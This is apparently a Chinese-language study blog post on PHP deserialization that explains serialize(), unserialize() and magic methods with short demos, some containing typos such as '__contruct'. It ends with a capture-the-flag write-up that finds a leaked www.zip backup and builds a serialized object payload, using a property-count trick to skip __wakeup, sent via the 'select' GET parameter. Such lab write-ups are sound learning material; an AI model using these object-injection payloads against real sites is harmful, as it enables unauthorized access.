PHP反序列化学习

函数介绍

serialize()函数

该函数用于将实例化的对象序列化,或者序列化数组

序列化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class demo{
public $name = 'cbatl10';


public function __contruct(){
$this->name = $name;
}
}

$test = new demo();
$test1 = serialize($test);
echo $test1;

得到

1
O:4:"demo":1:{s:4:"name";s:7:"cbatl10";}

序列化数组

1
2
3
4
5
<?php
$a = array('l1','l2','l3');
$serialized = serialize($a);
echo $serialized;
?>

得到结果

1
a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";}

每个字符都有各自的意义,从这两个得到的序列化结果也可以看出来

o表示对象,a表示数组,s表示字符,i表示数字 s:后面的数字表示又多少个字符。

unserialize()函数

从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。

反序列化为对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class demo{
public $name = 'cbatl10';


public function __contruct(){
$this->name = $name;
}
}

$test = new demo();
$test1 = serialize($test);
#echo $test1;
$test2 = unserialize($test1);
print_r($test2);




?>

得到了反序列化后的结果

1
2
3
4
demo Object
(
[name] => cbatl10
)

反序列化数组

也将会返回数组的信息,这里不在写了。

魔法函数学习

在php类中会包含一些特殊的函数叫魔法函数,下面学习一下这些魔法函数

魔法函数均是以两个下划线开头(__),它会在特定的情况下被调用。

construct()和destruct()

__construct()对象初始化时会调用此方法。

__destruct() 当对象销毁时会调用此方法,什么时候会主动销毁对象呢?

一是用户主动销毁,二是当程序结束后自动销毁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Demo{
private $flag;

public function __construct(){
$this->flag=true;
echo 'brith'.PHP_EOL;
}
public function __destruct(){
$this->flag=false;
echo 'die'.PHP_EOL;
}

}
//主动销毁对象
$test = new Demo();
sleep(1);

//程序完成后自动销毁
$test1 = new Demo();
sleep(1);
?>

由上代码可以看到__construct() 在运行时是用户自动删除对象

​ __destruct()是程序完成后自动销毁对象

运行之后返回了 brith die

get()和set()

面对对象编程中使用频率很高的两个方法,当设置和获取对象的属性不被允许时,此方法会被调用。当不存在或不被允许读写时才会被调用,所以当一个对象的属性不确定时,用这两个方法的效果很好。

__get($name) 获取对象不存在的属性或者不被允许访问的属性时被调用。$name为要获取的属性名。

__set($name,$value) 设置对象不存在的属性或者不被允许访问的属性时被调用。$name为要设置的属性名,$value表示要设置的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Lyt{
protected $_data;

public function __get($name){
if (isset($this->_data[$name])){
return $this->_data;
}
return false;
}
public function __set($name,$value){
$this->_data=$value;
}
}

$test = new Lyt();
$test-> name= 'lyt';
echo $test->name.PHP_EOL;

?>

isset()和unset()

当调用方法isset()判断对象是否存在某属性,调用unset()注销某属性时。且这些属性不存在或不可访问时,会分别调用isset()和unset()方法

都是当属性不存在或者不可访问时被调用

__isset($name) 调用isset()方法来判断属性不存在或不可访问,$name表示属性名

__unset($name) 调用unset()方法来删除不可访问的类属性, $name表示属性名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class study{
public $name;
public $sex;
public $age;

public function __construct($name,$sex,$age){
$this -> name = $name;
$this -> sex = $sex;
$this -> age = $age;
}

public function __isset($name){
echo 'The property'. $name .'no exits'.PHP_EOL;
}

public function __unset($name){
echo 'The property'. $name .'can not unset'.PHP_EOL;
}
}

$test = new study('cbatl10','男',20);
isset($test->name);
isset($test->real_name);
unset($test->age);

?>

call()和callstatic()

通过前面我们可以知道当获取对象的属性不存在时会调用__get()方法,但是如果当这个方法也不存在时呢,php引擎就会自动调用到我们的call()方法。

看到callstatic()就可以知道是一个静态的方法,所以他的作用是,当调用的是一个静态的方法时,php引擎会自动调用callstatic()方法。要注意的是在php5.3以上的版本才支持。

__call($method,$args) 调用对象方法不存在或不允许被调用时被调用,$method表示方法名,$args表示调用的参数。

__callstatic($method,$args) 调用对象静态方法不存在或不被允许访问时被调用,$method表示方法名,$args表示调用的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class People{
public function jump(){
echo 'I can jump'.PHP_EOL;
}
public function run(){
echo 'I can run'.PHP_EOL;
}
public function __call($method,$args){
echo 'I can not ' .$method.PHP_EOL;
}
public function __callstatic($method,$args){
echo 'We are not'.$method.PHP_EOL;
}
}

$people = new People();
$people->jump();
$people->run();
$people->fly();
People:: fly();

?>

sleep()和wakeup()

看字面意思就知道一个是睡眠一个是醒来,在php中有一个searialize()函数,它会将对象的各个属性序列化以方便保存起来,而相反的是有一个unsearialize()函数,会将保存的序列化的数据解开变成对象。也叫唤醒。

__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项。

__wakeup() 当调用unsearalize()方法时调用。一般用来唤醒时初始化资源对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User{
public $username;
public $sex;
public $passFile;
public $password;

public function __contruct($username,$sex,$passFile){
$this->username=$username;
$this->sex=$sex;
$this->passFile=$passFile;
$this->password=file_get_contents($passFile);
}
public function getPassword(){
return $this->password;
}

public function __sleep(){
return array(
'username','sex','passFile',
);
}

public function __wakeup(){
$this->password=file_get_contents($this->passFile);
}
}

$test = new User('cbatl','male','pass.data');
$test1 = serialize($test);
echo $test1.PHP_EOL;
$test2 = unserialize($test1);
echo $test2->getPassword().PHP_EOL;

toString()

这个很容易理解,str就是字符串,这个方法就是将对象强制转换为string类型

__tostring()方法当对象在需要转换成字符串时,会调用此方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class info{
public function __toString(){
return 'info';
}
}

$test = new info();
//输出字符串info
echo $test.PHP_EOL;
//输出字符串info的md5值 caf9b6b99962bf5c2264824231d7a40c
echo md5($test).PHP_EOL;
//截取字符串
echo substr($test,0,3).PHP_EOL;

?>

clone()

此方法在复制对象时被调用。

我们可以这样理解$a为一个实例化的对象,当$b=$a时。$b为$a 的引用。当$a发生改变时。$b也会随之发生改变,为了使$b不发生改变所以我们需要用$b= clone $a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class cbat{
public $value;

public function __clone(){
echo "Clone myself".PHP_EOL;
}
}

$test = new cbat();
$test->value=4;
$newtest = clone $test;
$test->value = 5;
echo 'The test is'.$test->value.PHP_EOL;
//The test is 5
echo 'The newtest is',$newtest->value.PHP_EOL;
//The newtest is 4
?>

autoload()

字面意思是自动加载。主要是用来自动加载类。

在php中要使用另外一个文件中的类需要用require或include方法,包括require_once和include_once导入进来。那么如果我要使用的类未被导入,就会开始调用__autoload()方法。

__autoload($name) $name表示需要自动导入的类名。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
class cbatl10{
public function __construct(){
echo "Welcome Cbatl10's".PHP_EOL;
}
function __autoload($name){
$classPath = str_replace('We',lyt,$name);
require_once("$classPath.php");
}

$test = new cbatl10();
echo $test;
?>

题目实战

打开题目看到如图所示

看到说有网站备份的习惯,于是就有后台扫描工具扫了下,发现了www.zip

于是下载了下来

发现了压缩包里的文件,打开flag.php给了一个类似flag的字符串,结果是错的。

那就接着看吧。先看了index.php文件

在这个文件发现了入口文件class.php,还知道了是GET传参方式,传入select.

接下来查看class.php,审计后

可以知道我们要传入两个参数

一个username 为admin

一个password 为 100

于是可以写脚本构造POC链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b.PHP_EOL;

//得到结果 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

?>

接下来就是绕过__wakeup()

我们审计代码时发现,__wakeup()的作用就是将username重新赋值为 guest,所以我们要绕过这个函数。

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:”Name”后面的2改为3及以上的整数。这样就可以绕过。

新的POC链

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

注意我们使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上

最终POC

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后GET传参构造payload

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag!